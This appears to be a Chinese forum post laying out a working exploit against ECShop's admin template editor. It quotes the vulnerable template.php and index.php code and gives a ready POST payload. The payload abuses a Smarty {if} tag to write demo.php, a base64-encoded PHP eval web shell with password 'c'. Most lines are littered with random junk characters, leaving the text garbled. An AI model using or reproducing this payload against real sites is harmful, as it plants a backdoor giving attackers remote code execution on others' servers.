首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板$ ]5 M* k, b5 }$ C1 p2 f4 a
8 v3 m" j" e% E2 B# N
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了' S1 J7 U& n { \' _" K, d7 W3 Z, z
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ R6 T4 n% v2 J/ Padmin/template.php
0 n9 ~- \2 E& t- p8 F7 s6 c' T. Q0 w4 b/ g# R
1 if ($_REQUEST['act'] == 'update_library')
! f) D t/ x! u1 z4 S9 f3 w
j0 x" z/ x2 ~! |2 1 t2 y4 y; {: F
& d' i& W; b/ @* Z. P6 v3 v3 { * ?- u% e z: R, T9 c
$ `7 U% U. f9 a& u: Q/ h9 Z/ z
4 check_authz_json('library_manage');
+ m! j/ n! ]# \. ~3 J! k; b" M$ b% ?( Y b8 F5 W3 k0 w" N |
5 , d; z1 l- I1 l6 Q$ K* l) Y0 ?
; ?$ E. P4 ]! Z' A2 Z' r6 u6 $html = stripslashes(json_str_iconv($_POST['html'])); # m' j# m( `( U6 ]1 n
3 W1 S3 @2 l9 A9 @5 b" w# ]5 ~
7
; x9 ~$ G9 k4 J
) N" ]' ^% o/ Q7 o. B# B8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; S) j$ W- |( ?: _1 c) a, k: y5 W0 u" H7 X1 _7 i, Y/ k
9
: k+ V! l. O9 {& k8 Q+ O* v3 c$ ?( i7 P$ S% Q
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
; k( s/ o! [/ A' h$ r
6 r0 K% {- |" x- K% I2 \11
: @9 @9 I* @( u
9 z: f! |) V5 u' D F/ C2 F {' J12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); : m9 n J6 U7 c# P* d1 {
4 c# |: y* |( U13
) S7 w/ \9 N) Z6 {2 E4 T2 i
! E; [' b' q5 `14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 , b% ]( E$ S9 R; {/ p0 `
2 I4 P( r! M3 W# B! d& v8 x3 }3 {7 m
15 {
" u5 G' C2 B- ^- A) k+ v5 y8 ^( b3 u. I
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 0 \# K7 q6 ?; G
" R6 `4 O& G+ `) ?5 \& S3 R* Q+ N) M- J
17 make_json_result('', $_LANG['update_lib_success']); 8 c& r+ r3 q5 E
8 X$ ~5 F g, t" J% k7 I J/ h# A
18 } . D( w: {8 ?: ]- \
, M; W3 [$ p3 f h* m
19 else 5 k' n# b: D! ]- _$ ^& E
6 s0 n7 }" v$ q) E0 M' D20 {
* Z" e/ n7 _9 _* I7 n, V
- B: v1 A: @/ X6 Q$ z21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ; j9 b, @- Y+ w
, u+ o% C& y) H4 r: y+ j: D8 \: [0 P22 } 5 Y. y$ ]3 g! c. F5 V
0 f. ]& p; X! A1 i
23 }
+ A0 p* l- |! h, S1 O+ ^. q# C5 Q9 L' D
那么找个比较方便调用了模板的文件
: L0 I$ X9 e% t0 b6 n- p$ iindex.php; F" D' X( t5 S0 E7 A9 j
* a" X* K6 n) @$ c D
1 if ($act == 'cat_rec')
+ R- s9 T2 @) z; Q( h' Z1 p3 S5 j! Q- w' y! O: k& k
2
; N6 ]9 G$ u2 _# x$ }+ i2 _
6 `; b3 \* }/ N2 _" x* f3 { $ y i+ k1 W: D, L
, q/ W& A- z1 d* C" F( ?& M4 , p: @' _5 L: t5 X8 w, l
$ r" z& \9 Q9 W, U A; X5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); . k9 ^) t9 v) \; k3 i( V- X
Z9 o' h& a5 L
6 9 }# t( Z5 V3 n* i) B% j# T& ~
+ x z2 ^8 e8 R9 f, L Z0 G
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
2 ^+ D8 {; b' P- w; D8 c$ @& c1 ~- j. Q2 x: I
8
" V# i0 M5 n6 F/ _$ y8 z" S( a; W N, l' J
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) b: x! O5 z" E7 ]1 Z! v2 p
' H- V4 ^3 M* N10
4 o9 k8 K3 [. C4 Y- m; m# I
5 v, E( m h3 g11 include_once('includes/cls_json.php'); ; T) Y" V0 _, Z0 L1 l4 }
. ~, l. E- u- ~" ^* ~& y
12 ; Q- ]% a$ N6 m- i( P
# F4 n5 M; i4 r: K3 m$ s( B
13 $json = new JSON; ) c( P% |3 ?: H" p& \/ g: z. p
0 y: A$ ^7 C* @; |" Q( \
14 7 F- U! S5 F. m F& `9 j3 d
! |0 I! O! G9 X15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
7 v) H8 r# Q; Q6 M. F/ p! ?( p* i% i( Y
16
0 M+ i w& T U$ ^, ^8 U7 z( t3 U: X6 t. k( U7 X L
17 $children = get_children($cat_id); ) ^( J, G; W1 b
4 Z/ Y* i; C! ?( q/ r18
( M; p8 U% O t: a6 V6 t3 T0 g# o& a9 d# i. \4 c
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
+ s. r7 ]# i6 F2 L% i1 g9 g/ y" H8 ]0 S! X# F' V
20 * Z; V! A3 N7 N) L
% |% r% r& R0 M- R L0 _' d) q7 u* q
21 $smarty->assign('cat_rec_sign', 1);
9 S+ D( z$ T1 f( i9 ?+ F
( L( v! O) H; ~& U6 B3 ^, ]22 / @- @1 `1 V. t' Y, Y, ^
+ k" c" o0 c& f: z
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best * |- E6 {9 L( }; P8 A. s
! x* U- M; T" N' ~3 M% D" f$ } S
24
- W3 D+ C- j3 f4 x# ?1 W; @1 f2 X+ t; E Q" V
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; . e# U. }& R. g; h
) z# {0 C1 J! _% [5 @* H I, C26
% n. I+ c1 b. O8 p: e( I
8 d$ s2 |) o5 v! P' P0 R27 echo $rec_array[$rec_type];
: U9 g: n, \2 A+ Z8 \8 ]4 y4 t, w/ `+ F
28 - C8 X+ {5 K7 g) Z8 X
+ o& w, |" ^4 ~% k29 die($json->encode($result));
8 A# u/ r3 n# m0 F( F5 Y: w
; U" B1 U2 g& s& Q30 2 W. J& W. U- F5 I: K% V+ m
( ^1 A" {$ ~+ C0 Q
31 } : h' h, w! T! ]' T
5 b3 M$ y9 m) v0 c% ^
那么就有利用方法了
- ~. m& E, W( { ypost包到http://localhost/ec/admin/template.php?act=update_library8 r! o( J2 ~ @4 a4 S% V
Post内容:
3 m, ~ V( e; v1 c) Y
0 ], o) \" \ N0 d ?/ j! c" @: m' i$ U2 u
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
Y) V+ k, F' w- _6 Y! G
+ I: y0 q2 `; ]7 N2 I, T, a5 o) C然后访问http://localhost/ec/index.php?act=cat_rec
0 [6 l! ~7 R9 o8 _9 ~, c+ Y! f- J; l- p. [" B! Y
shel地址:http://localhost/ec/demo.php* [- u6 T# K4 n$ L/ n8 J% [
密码c" T9 A$ i/ |+ }, z0 \ V% b
5 J& b1 {1 |; Y0 p6 | |